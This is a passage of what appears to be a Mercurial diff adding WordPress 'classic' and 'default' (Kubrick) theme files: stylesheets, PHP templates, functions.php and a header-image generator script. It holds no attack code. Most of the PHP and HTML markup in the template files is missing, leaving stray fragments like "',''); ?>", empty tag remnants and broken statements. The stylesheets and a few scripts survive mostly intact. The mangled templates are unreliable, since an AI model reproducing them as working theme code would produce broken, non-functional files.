ul li a:hover { + background: #F8BC12; + color: #fff; +} + + +#top li.current_page_item a, #top li a:hover, .sf-with-ul a:hover { + background: #F8BC12 ; + color: #000; +} +#top ul li ul { + position: absolute; + top: 35px; +} + + +/***************NAVIGATION*************************/ + + + +/* Twitter, RSS, Email + +#topsoc { + float: right; + margin-top: 10px; +} +.tweet, .rss, .mail { + float: left; + margin-left: 20px; + margin-right: 5px; + display: inline; +} + +End Twitter, RSS, Email */ + +.aboutimage { + float: left; + border: 1px solid #ccc; + padding: 2px; + margin: 0px 5px 5px 5px; +} +#s { + width: 200px; + float: right; + margin: 5px; + padding: 5px; + border: 1px solid #000; + background: #F8F8F8 url(images/search.gif) no-repeat scroll right bottom; +} + + +#wrapp { + background: #fff; + overflow:hidden; +} + + +#contentwrap { + float: left; + width: 480px; + background: #fff; +} + +#sidebar { + float: left; + width: 148px; + background: #e5e5e5; + border: 1px solid #ccc; + margin-top: 4px; +} + +/* ADVERT */ + +.advert{ + float: right; + padding:5px; + width: 315px; + margin: 0px 0px 10px 0; + display: inline; + background: #959494; + } + +.advert img{ + padding:5px; + border:none; + margin:10px; + float: left; + } + + /* END ADVERT */ + +.custom_images { + margin-bottom: 15px; +} +.custom_images img { + margin: 0 3px;padding: 0; +} + + +#sidebar2 { + float: right; + width: 325px; + background: #e5e5e5; + margin-top: 4px; + color: #fff; +} + + + +#sidebar3 { + clear: both; + width: 100%; + background: #202020 url(images/sidebar3.gif) repeat-x; overflow:hidden; + color: red; +} +.swrap { + margin: 0 auto; + width: 960px; + padding: 50px 0 10px 0; +} +.widget2 h3 { + color: #d0d0d0; + font-weight: normal; + margin-bottom: 25px; +} + + +.widget2 { + float: left; + width: 200px; + font-size: 10px; + text-transform: uppercase; + margin: 0 15px; +} +.widget2 ul li { + line-height: 25px; + background: url(images/dart2.gif) no-repeat scroll 0px 4px; + padding-left: 20px; +} +.widget2 a:link, .widget2 a:visited { + color: #fff; +} + + +#footer { + width: 100%; + clear: both; + text-align: center; + height: 30px; + padding: 30px 0 0px 0; + background: url(images/footer.gif) repeat-x; + color: #fff; +} +#footer a { + color: #fff; +} +.sponsors { + text-align: center; +} +.sponsors a{ + color: #1B1A1A; +} + + +.inside { + padding: 10px; +} +.in2 { + padding: 10px; +} +.clear { + clear: both; +} + + +/***************END LAYOUT*************************/ + +/***************WP STYLES*************************/ + +#sidebar h3, .widget h3 { + padding: 7px; + font-size: 14px; + color: #444847; +} + +.side-widget { + width: 140px; + float: left; + margin-bottom: 10px; +} + + +.side-widget ul li, .widget ul li { + line-height: 30px; + padding: 0 15px; + border-bottom: 1px solid #ccc; + background: url(images/dart.png) no-repeat scroll 0px 10px; +} +* html .side-widget ul li { + padding: 0 0 0 13px; +} + + +.side-widget a, .side-widget a:visited { + color: #484848; +} +.side-widget a:hover { + color: #000; +} + + +.side-widget ul li ul li, .widget ul li ul li { + width: 108px; + margin-left: -14px; + padding-left: 13px; + border-bottom: 0; + border-top: 1px solid #ccc; +} +* html .side-widget li { + +} +.widget { + float: left; + color: #484848; +} + + + +.widget li { + line-height: 20px; +} + + +.widget a:link, .widget a:visited { + color: #484848; +} +.widget a:hover { + color: #000; +} + + +/***************POST STYLES*************************/ +.post h2 { + margin: 5px 0px; + text-transform: uppercase; + } + +.post h2 a, post h2 a:visited { + color: #b40000; + font-size: 14px; +} + +.post h2 a:hover { + +} + +.meta { + background: #f0f0f0; + padding: 5px; + color: #000; + display: block; + border-top: 1px solid #ccc; +} + + +.cat { + +} + +.author { + +} +.edit { + +} +.comm { + background: url(images/comm.gif) repeat-x; + padding: 2px 4px 4px 4px; + float: right; +} +.comm a{ + color: #fff; +} + +a.more-link { + background: url(images/more.gif) repeat-x; + padding: 2px 4px 4px 4px; + color: #fff; + float: right; + margin-right: 5px; + display: inline; +} + + +.postmetadata { + margin-top: 2px; +} + +.post { + padding-bottom: 30px; + border-bottom: 1px dotted #ccc; +} + + + +.entry { + line-height: 20px; + font-size: 10px; + margin: 10px 0 0 0; + font-size: 12px; +} + +.entry li { + margin-left: 20px; + list-style: circle; +} + +.entry ol li { + list-style: decimal; +} + +blockquote { + border-left: 10px solid #666666; + margin-left: 20px; +} + +blockquote p { + padding: 10px; +} + +.alignleft { + float: left; + margin: 0 5px 5px 0px; +} + +.alignright { + float: right; + margin: 0 5px 5px 5px; +} +/***************END POST STYLES*************************/ +#calendar_wrap { + text-align: center; +} + +caption { + background: #ccc; +} + +#wp-calendar { + +} + +th { + padding: 6px; +} + +td a:link { + background: #CCCCCC; + padding: 1px 6px; + color: #fff; + line-height: 29px; +} + +/***************END WP STYLES*************************/ + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/classic/comments-popup.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/classic/comments-popup.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,126 @@ + + + + <?php echo get_option('blogname'); ?> - <?php echo sprintf(__("Comments on %s"), the_title('','',false)); ?> + + + + + + + +

    + + + +

    + +

    RSS feed for comments on this post."); ?>

    + + +

    URL to TrackBack this entry is:"); ?>

    + + + + + +
      + +
    1. + +

      @

      +
    2. + + +
    + +

    + + + +

    +

    HTML allowed:"); ?>

    + +
    + +

    '.$user_identity.''); ?>

    + +

    + + +

    + +

    + + +

    + +

    + + +

    + + +

    + +
    + +

    + +

    + + " /> + " /> +

    + ID); ?> +
    + +

    + + +
    + + +

    Sorry, no posts matched your criteria.

    + + + + +

    Powered by WordPress"),__("Powered by WordPress, state-of-the-art semantic personal publishing platform.")); ?>

    + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/classic/comments.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/classic/comments.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,82 @@ + +

    + + +

    + + ">» + +

    + + +
      + + +
    1. id="comment-"> + + +

      @

      +
    2. + + + +
    + + +

    + + +

    RSS feed for comments on this post.')); ?> + + URL'); ?> + +

    + + +

    + + +

    logged in to post a comment.'), wp_login_url( get_permalink() ) );?>

    + + +
    + + + +

    '.$user_identity.''); ?>

    + + + +

    +

    + +

    +

    + +

    +

    + + + + + +

    + +

    + +

    +ID); ?> + +
    + + + + +

    + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/classic/footer.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/classic/footer.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,18 @@ + + +
    + + + +

    WordPress"), __("Powered by WordPress, state-of-the-art semantic personal publishing platform.")); ?>

    + +
    + + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/classic/functions.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/classic/functions.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,17 @@ + '
  • ', + 'after_widget' => '
  • ', + 'before_title' => '', + 'after_title' => '', + )); + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/classic/header.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/classic/header.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,30 @@ + + +> + + + + + <?php wp_title('«', true, 'right'); ?> <?php bloginfo('name'); ?> + + + + + + + + + +> +
    +

    + +
    + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/classic/index.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/classic/index.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,36 @@ + + + + +',''); ?> + +
    id="post-"> +

    +
    @
    + +
    + +
    + + + +
    + + + + +

    + + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/classic/rtl.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/classic/rtl.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,92 @@ +/* Based on Arabic (RTL) version of WordPress Classic theme, converted by Serdal (Serdal.com) */ + +#menu ul ul, #wp-calendar caption, #wp-calendar #prev a { text-align: right; } +#wp-calendar #next a, .feedback { text-align: left; } + +blockquote { + border-left: 0; + border-right: 5px solid #ccc; + margin-left: auto; + margin-right: 1.5em; + padding-left: 0; + padding-right: 5px; +} + +body { font-family: 'Geeza Pro', Tahoma, 'Lucida Grande', 'Lucida Sans Unicode', Verdana, sans-serif; } + +h2 { font: 95% 'Al Bayan', 'Traditional Arabic', "Times New Roman", Times, serif; } + +p, li, .feedback { + font: 90%/175% 'Geeza Pro', Tahoma, 'Lucida Grande', 'Lucida Sans Unicode', Verdana, sans-serif; + text-align: justify; +} + +acronym, abbr, span.caps, h2, p, li, #header, #menu ul li, #menu ul ul li, #wp-calendar td, .feedback, .meta, .meta a { letter-spacing: normal; } + +#commentlist li ul { + border-left: 0; + border-right: 1px solid #ddd; +} + +#commentlist li .avatar { + margin-right: 0; + margin-left: 12px; +} + +#commentlist li .avatar { + margin-right: 0; + margin-left: 12px; +} + +#content { + margin: 30px 3em 0 13em; + padding-right: 0; + padding-left: 60px; +} + +#header { + border-left: solid 1px #9a9; + border-right: solid 1px #565; + font: normal normal 230% 'Al Bayan', 'Traditional Arabic', 'Times New Roman', Times, serif; + padding: 15px 60px 15px 10px; +} + +#menu { + border-left: 0; + border-right: 1px dotted #ccc; + padding: 20px 30px 10px 0; + right: auto; + left: 2px; +} + +#menu form { margin: 0 13px 0 0; } + +#menu ul { + padding-left: 0; + padding-right: 3px; +} + +#menu ul li { font: normal normal 110% 'Geeza Pro', Tahoma, 'Times New Roman', Times, serif; } + +#menu ul ul li { + font: normal normal 12px/115% 'Geeza Pro', Tahoma, 'Lucida Grande', 'Lucida Sans Unicode', Verdana, sans-serif; + padding-left: 0; + padding-right: 12px; +} + +#menu ul ul ul.children { + padding-left: 0; + padding-right: 4px; +} + +#wp-calendar #next a { + padding-right: 0; + padding-left: 10px; +} + +#wp-calendar #prev a { + padding-left: 0; + padding-right: 10px; +} + +#wp-calendar td { font: normal normal 12px 'Geeza Pro', Tahoma, 'Lucida Grande', 'Lucida Sans Unicode', Verdana, sans-serif; } diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/classic/screenshot.png Binary file web/wp-content/themes/classic/screenshot.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/classic/sidebar.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/classic/sidebar.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,47 @@ + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/classic/style.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/classic/style.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,368 @@ +/* +Theme Name: WordPress Classic +Theme URI: http://wordpress.org/ +Description: The original WordPress theme that graced versions 1.2.x and prior. +Version: 1.5 +Author: Dave Shea +Tags: mantle color, variable width, two columns, widgets + +Default WordPress by Dave Shea || http://mezzoblue.com +Modifications by Matthew Mullenweg || http://photomatt.net +This is just a basic layout, with only the bare minimum defined. +Please tweak this and make it your own. :) +*/ + +.screen-reader-text { + position: absolute; + left: -1000em; +} + +a { + color: #675; +} + +a img { + border: none; +} + +a:visited { + color: #342; +} + +a:hover { + color: #9a8; +} + +acronym, abbr { + border-bottom: 1px dashed #333; +} + +acronym, abbr, span.caps { + font-size: 90%; + letter-spacing: .07em; +} + +acronym, abbr { + cursor: help; +} + +blockquote { + border-left: 5px solid #ccc; + margin-left: 1.5em; + padding-left: 5px; +} + +body { + background: #fff; + border: 2px solid #565; + border-bottom: 1px solid #565; + border-top: 3px solid #565; + color: #000; + font-family: 'Lucida Grande', 'Lucida Sans Unicode', Verdana, sans-serif; + margin: 0; + padding: 0; +} + +cite { + font-size: 90%; + font-style: normal; +} + +h2 { + border-bottom: 1px dotted #ccc; + font: 95% "Times New Roman", Times, serif; + letter-spacing: 0.2em; + margin: 15px 0 2px 0; + padding-bottom: 2px; +} + +h3 { + border-bottom: 1px dotted #eee; + font-family: "Times New Roman", Times, serif; + margin-top: 0; +} + +ol#comments li p { + font-size: 100%; +} + +p, li, .feedback { + font: 90%/175% 'Lucida Grande', 'Lucida Sans Unicode', Verdana, sans-serif; + letter-spacing: -1px; +} + +/* classes used by the_meta() */ +ul.post-meta { + list-style: none; +} + +ul.post-meta span.post-meta-key { + font-weight: bold; +} + +.credit { + background: #90a090; + border-top: 3px double #aba; + color: #fff; + font-size: 11px; + margin: 10px 0 0 0; + padding: 3px; + text-align: center; +} + +.credit a:link, .credit a:hover { + color: #fff; +} + +.feedback { + color: #ccc; + text-align: right; + clear: both; +} + +.meta { + font-size: .75em; +} + +.meta li, ul.post-meta li { + display: inline; +} + +.meta ul { + display: inline; + list-style: none; + margin: 0; + padding: 0; +} + +.meta, .meta a { + color: #808080; + font-weight: normal; + letter-spacing: 0; +} + +.storytitle { + margin: 0; +} + +.storytitle a { + text-decoration: none; +} + +#commentform #author, #commentform #email, #commentform #url, #commentform textarea { + background: #fff; + border: 1px solid #333; + padding: .2em; +} + +#commentform textarea { + width: 100%; +} + +#commentlist li ul { + border-left: 1px solid #ddd; + font-size: 110%; + list-style-type: none; +} + +#commentlist li .avatar { + float: right; + margin-right: 25px; + border: 1px dotted #ccc; + padding: 2px; +} + +#content { + margin: 30px 13em 0 3em; + padding-right: 60px; +} + +#header { + background: #90a090; + border-bottom: 3px double #aba; + border-left: 1px solid #9a9; + border-right: 1px solid #565; + border-top: 1px solid #9a9; + font: italic normal 230% 'Times New Roman', Times, serif; + letter-spacing: 0.2em; + margin: 0; + padding: 15px 10px 15px 60px; +} + +#header a { + color: #fff; + text-decoration: none; +} + +#header a:hover { + text-decoration: underline; +} + +#menu { + background: #fff; + border-left: 1px dotted #ccc; + border-top: 3px solid #e0e6e0; + padding: 20px 0 10px 30px; + position: absolute; + right: 2px; + top: 0; + width: 11em; +} + +#menu form { + margin: 0 0 0 13px; +} + +#menu input#s { + width: 80%; + background: #eee; + border: 1px solid #999; + color: #000; +} + +#menu ul { + color: #ccc; + font-weight: bold; + list-style-type: none; + margin: 0; + padding-left: 3px; + text-transform: lowercase; +} + +#menu ul li { + font: italic normal 110% 'Times New Roman', Times, serif; + letter-spacing: 0.1em; + margin-top: 10px; + padding-bottom: 2px; /*border-bottom: dotted 1px #ccc;*/ +} + +#menu ul ul { + font-variant: normal; + font-weight: normal; + line-height: 100%; + list-style-type: none; + margin: 0; + padding: 0; + text-align: left; +} + +#menu ul ul li { + border: 0; + font: normal normal 12px/115% 'Lucida Grande', 'Lucida Sans Unicode', Verdana, sans-serif; + letter-spacing: 0; + margin-top: 0; + padding: 0; + padding-left: 12px; +} + +#menu ul ul li a { + color: #000; + text-decoration: none; +} + +#menu ul ul li a:hover { + border-bottom: 1px solid #809080; +} + +#menu ul ul ul.children { + font-size: 142%; + padding-left: 4px; +} + +#wp-calendar { + border: 1px solid #ddd; + empty-cells: show; + font-size: 14px; + margin: 0; + width: 90%; +} + +#wp-calendar #next a { + padding-right: 10px; + text-align: right; +} + +#wp-calendar #prev a { + padding-left: 10px; + text-align: left; +} + +#wp-calendar a { + display: block; + text-decoration: none; +} + +#wp-calendar a:hover { + background: #e0e6e0; + color: #333; +} + +#wp-calendar caption { + color: #999; + font-size: 16px; + text-align: left; +} + +#wp-calendar td { + color: #ccc; + font: normal 12px 'Lucida Grande', 'Lucida Sans Unicode', Verdana, sans-serif; + letter-spacing: normal; + padding: 2px 0; + text-align: center; +} + +#wp-calendar td.pad:hover { + background: #fff; +} + +#wp-calendar td:hover, #wp-calendar #today { + background: #eee; + color: #bbb; +} + +#wp-calendar th { + font-style: normal; + text-transform: capitalize; +} + +/* Captions & aligment */ +.aligncenter, +div.aligncenter { + display: block; + margin-left: auto; + margin-right: auto; +} + +.alignleft { + float: left; +} + +.alignright { + float: right; +} + +.wp-caption { + border: 1px solid #ddd; + text-align: center; + background-color: #f3f3f3; + padding-top: 4px; + margin: 10px; + -moz-border-radius: 3px; + -khtml-border-radius: 3px; + -webkit-border-radius: 3px; + border-radius: 3px; +} + +.wp-caption img { + margin: 0; + padding: 0; + border: 0 none; +} + +.wp-caption p.wp-caption-text { + font-size: 11px; + line-height: 17px; + padding: 0 4px 5px; + margin: 0; +} +/* End captions & aligment */ diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/default/404.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/default/404.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,18 @@ + + +
    + +

    Error 404 - Not Found

    + +
    + + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/default/archive.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/default/archive.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,77 @@ + + +
    + + + + + +

    Archive for the ‘’ Category

    + +

    Posts Tagged ‘

    + +

    Archive for

    + +

    Archive for

    + +

    Archive for

    + +

    Author Archive

    + +

    Blog Archives

    + + + + + + +
    > +

    + + +
    + +
    + + + +
    + + + + + Sorry, but there aren't any posts in the %s category yet.", single_cat_title('',false)); + } else if ( is_date() ) { // If this is a date archive + echo("

    Sorry, but there aren't any posts with this date.

    "); + } else if ( is_author() ) { // If this is a category archive + $userdata = get_userdatabylogin(get_query_var('author_name')); + printf("

    Sorry, but there aren't any posts by %s yet.

    ", $userdata->display_name); + } else { + echo("

    No posts found.

    "); + } + get_search_form(); + + endif; +?> + +
    + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/default/archives.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/default/archives.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,29 @@ + + + + +
    + + + +

    Archives by Month:

    +
      + +
    + +

    Archives by Subject:

    +
      + +
    + +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/default/comments-popup.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/default/comments-popup.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,124 @@ + + + + <?php echo get_option('blogname'); ?> - Comments on <?php the_title(); ?> + + + + + + + +

    + + +

    Comments

    + +

    RSS feed for comments on this post.

    + + +

    The URL to TrackBack this entry is:

    + + + + + +
      + +
    1. + +

      by @

      +
    2. + + +
    + +

    No comments yet.

    + + + +

    Leave a comment

    +

    Line and paragraph breaks automatic, e-mail address never displayed, HTML allowed:

    + +
    + +

    Logged in as . Log out »

    + +

    + + +

    + +

    + + +

    + +

    + + +

    + + +

    + +
    + +

    + +

    + + " /> + +

    + ID); ?> +
    + +

    Sorry, the comment form is closed at this time.

    + + + + + +

    Sorry, no posts matched your criteria.

    + + + +

    Powered by WordPress

    + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/default/comments.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/default/comments.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,96 @@ + +

    This post is password protected. Enter the password to view comments.

    + + + + + +

    to “

    + + + +
      + +
    + + + + + + + + + +

    Comments are closed.

    + + + + + + + +
    + +

    + +
    + +
    + + +

    You must be logged in to post a comment.

    + + +
    + + + +

    Logged in as . Log out »

    + + + +

    /> +

    + +

    /> +

    + +

    +

    + + + + + +

    + +

    + +

    +ID); ?> + +
    + + +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/default/footer.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/default/footer.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,26 @@ + + +
    + +
    + + + + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/default/functions.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/default/functions.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,433 @@ + '
  • ', + 'after_widget' => '
  • ', + 'before_title' => '

    ', + 'after_title' => '

    ', + )); +} + +/** @ignore */ +function kubrick_head() { + $head = "\n"; + if ( '' != $output ) + echo $head . $output . $foot; +} + +add_action('wp_head', 'kubrick_head'); + +function kubrick_header_image() { + return apply_filters('kubrick_header_image', get_option('kubrick_header_image')); +} + +function kubrick_upper_color() { + if (strpos($url = kubrick_header_image_url(), 'header-img.php?') !== false) { + parse_str(substr($url, strpos($url, '?') + 1), $q); + return $q['upper']; + } else + return '69aee7'; +} + +function kubrick_lower_color() { + if (strpos($url = kubrick_header_image_url(), 'header-img.php?') !== false) { + parse_str(substr($url, strpos($url, '?') + 1), $q); + return $q['lower']; + } else + return '4180b6'; +} + +function kubrick_header_image_url() { + if ( $image = kubrick_header_image() ) + $url = get_template_directory_uri() . '/images/' . $image; + else + $url = get_template_directory_uri() . '/images/kubrickheader.jpg'; + + return $url; +} + +function kubrick_header_color() { + return apply_filters('kubrick_header_color', get_option('kubrick_header_color')); +} + +function kubrick_header_color_string() { + $color = kubrick_header_color(); + if ( false === $color ) + return 'white'; + + return $color; +} + +function kubrick_header_display() { + return apply_filters('kubrick_header_display', get_option('kubrick_header_display')); +} + +function kubrick_header_display_string() { + $display = kubrick_header_display(); + return $display ? $display : 'inline'; +} + +add_action('admin_menu', 'kubrick_add_theme_page'); + +function kubrick_add_theme_page() { + if ( isset( $_GET['page'] ) && $_GET['page'] == basename(__FILE__) ) { + if ( isset( $_REQUEST['action'] ) && 'save' == $_REQUEST['action'] ) { + check_admin_referer('kubrick-header'); + if ( isset($_REQUEST['njform']) ) { + if ( isset($_REQUEST['defaults']) ) { + delete_option('kubrick_header_image'); + delete_option('kubrick_header_color'); + delete_option('kubrick_header_display'); + } else { + if ( '' == $_REQUEST['njfontcolor'] ) + delete_option('kubrick_header_color'); + else { + $fontcolor = preg_replace('/^.*(#[0-9a-fA-F]{6})?.*$/', '$1', $_REQUEST['njfontcolor']); + update_option('kubrick_header_color', $fontcolor); + } + if ( preg_match('/[0-9A-F]{6}|[0-9A-F]{3}/i', $_REQUEST['njuppercolor'], $uc) && preg_match('/[0-9A-F]{6}|[0-9A-F]{3}/i', $_REQUEST['njlowercolor'], $lc) ) { + $uc = ( strlen($uc[0]) == 3 ) ? $uc[0]{0}.$uc[0]{0}.$uc[0]{1}.$uc[0]{1}.$uc[0]{2}.$uc[0]{2} : $uc[0]; + $lc = ( strlen($lc[0]) == 3 ) ? $lc[0]{0}.$lc[0]{0}.$lc[0]{1}.$lc[0]{1}.$lc[0]{2}.$lc[0]{2} : $lc[0]; + update_option('kubrick_header_image', "header-img.php?upper=$uc&lower=$lc"); + } + + if ( isset($_REQUEST['toggledisplay']) ) { + if ( false === get_option('kubrick_header_display') ) + update_option('kubrick_header_display', 'none'); + else + delete_option('kubrick_header_display'); + } + } + } else { + + if ( isset($_REQUEST['headerimage']) ) { + check_admin_referer('kubrick-header'); + if ( '' == $_REQUEST['headerimage'] ) + delete_option('kubrick_header_image'); + else { + $headerimage = preg_replace('/^.*?(header-img.php\?upper=[0-9a-fA-F]{6}&lower=[0-9a-fA-F]{6})?.*$/', '$1', $_REQUEST['headerimage']); + update_option('kubrick_header_image', $headerimage); + } + } + + if ( isset($_REQUEST['fontcolor']) ) { + check_admin_referer('kubrick-header'); + if ( '' == $_REQUEST['fontcolor'] ) + delete_option('kubrick_header_color'); + else { + $fontcolor = preg_replace('/^.*?(#[0-9a-fA-F]{6})?.*$/', '$1', $_REQUEST['fontcolor']); + update_option('kubrick_header_color', $fontcolor); + } + } + + if ( isset($_REQUEST['fontdisplay']) ) { + check_admin_referer('kubrick-header'); + if ( '' == $_REQUEST['fontdisplay'] || 'inline' == $_REQUEST['fontdisplay'] ) + delete_option('kubrick_header_display'); + else + update_option('kubrick_header_display', 'none'); + } + } + //print_r($_REQUEST); + wp_redirect("themes.php?page=functions.php&saved=true"); + die; + } + add_action('admin_head', 'kubrick_theme_page_head'); + } + add_theme_page(__('Custom Header'), __('Custom Header'), 'edit_themes', basename(__FILE__), 'kubrick_theme_page'); +} + +function kubrick_theme_page_head() { +?> + + + +

    '.__('Options saved.').'

    '; +?> +
    +

    +
    +
    + +
    +
    +
    +
    + +
    + red', '#FF0000', 'rgb(255, 0, 0)'); ?>
    + #FF0000', '#F00'); ?>
    + #FF0000', '#F00'); ?>
    + + + + + + +
    +
    +
    +
    + + + + + + + + + + + + +

    +
    + +
    + +
    +
    +
    +
    + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/default/header.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/default/header.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,45 @@ + + +> + + + + +<?php wp_title('«', true, 'right'); ?> <?php bloginfo('name'); ?> + + + + + + + + + + +> +
    + + + +
    diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/default/image.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/default/image.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,70 @@ + + +
    + + + +
    +

    post_parent); ?> »

    +
    +

    ID, 'medium' ); ?>

    +
    post_excerpt) ) the_excerpt(); // this is the "caption" ?>
    + + Read the rest of this entry »

    '); ?> + + +
    + + + +
    + +
    + + + + + +

    Sorry, no attachments matched your criteria.

    + + + +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/default/images/audio.jpg Binary file web/wp-content/themes/default/images/audio.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/default/images/header-img.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/default/images/header-img.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,82 @@ +array('r1', 'g1', 'b1'), 'lower'=>array('r2', 'g2', 'b2')); +foreach ( $vars as $var => $subvars ) { + if ( isset($_GET[$var]) ) { + foreach ( $subvars as $index => $subvar ) { + $length = strlen($_GET[$var]) / 3; + $v = substr($_GET[$var], $index * $length, $length); + if ( $length == 1 ) $v = '' . $v . $v; + $$subvar = hexdec( $v ); + if ( $$subvar < 0 || $$subvar > 255 ) + $default = true; + } + } else { + $default = true; + } +} + +if ( $default ) + list ( $r1, $g1, $b1, $r2, $g2, $b2 ) = array ( 105, 174, 231, 65, 128, 182 ); + +// Create the image +$im = imagecreatefromjpeg($img); + +// Get the background color, define the rectangle height +$white = imagecolorat( $im, 15, 15 ); +$h = 182; + +// Define the boundaries of the rounded edges ( y => array ( x1, x2 ) ) +$corners = array( + 0 => array ( 25, 734 ), + 1 => array ( 23, 736 ), + 2 => array ( 22, 737 ), + 3 => array ( 21, 738 ), + 4 => array ( 21, 738 ), + 177 => array ( 21, 738 ), + 178 => array ( 21, 738 ), + 179 => array ( 22, 737 ), + 180 => array ( 23, 736 ), + 181 => array ( 25, 734 ), + ); + +// Blank out the blue thing +for ( $i = 0; $i < $h; $i++ ) { + $x1 = 19; + $x2 = 740; + imageline( $im, $x1, 18 + $i, $x2, 18 + $i, $white ); +} + +// Draw a new color thing +for ( $i = 0; $i < $h; $i++ ) { + $x1 = 20; + $x2 = 739; + $r = ( $r2 - $r1 != 0 ) ? $r1 + ( $r2 - $r1 ) * ( $i / $h ) : $r1; + $g = ( $g2 - $g1 != 0 ) ? $g1 + ( $g2 - $g1 ) * ( $i / $h ) : $g1; + $b = ( $b2 - $b1 != 0 ) ? $b1 + ( $b2 - $b1 ) * ( $i / $h ) : $b1; + $color = imagecolorallocate( $im, $r, $g, $b ); + if ( array_key_exists($i, $corners) ) { + imageline( $im, $x1, 18 + $i, $x2, 18 + $i, $white ); + list ( $x1, $x2 ) = $corners[$i]; + } + imageline( $im, $x1, 18 + $i, $x2, 18 + $i, $color ); +} + +//die; +header("Content-Type: image/jpeg"); +imagejpeg($im, '', 92); +imagedestroy($im); +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/default/images/kubrickbg-ltr.jpg Binary file web/wp-content/themes/default/images/kubrickbg-ltr.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/default/images/kubrickbg-rtl.jpg Binary file web/wp-content/themes/default/images/kubrickbg-rtl.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/default/images/kubrickbgcolor.jpg Binary file web/wp-content/themes/default/images/kubrickbgcolor.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/default/images/kubrickbgwide.jpg Binary file web/wp-content/themes/default/images/kubrickbgwide.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/default/images/kubrickfooter.jpg Binary file web/wp-content/themes/default/images/kubrickfooter.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/default/images/kubrickheader.jpg Binary file web/wp-content/themes/default/images/kubrickheader.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/default/index.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/default/index.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,45 @@ + + +
    + + + + + +
    id="post-"> +

    + + +
    + +
    + + +
    + + + + + + + +

    Not Found

    +

    Sorry, but you are looking for something that isn't here.

    + + + + +
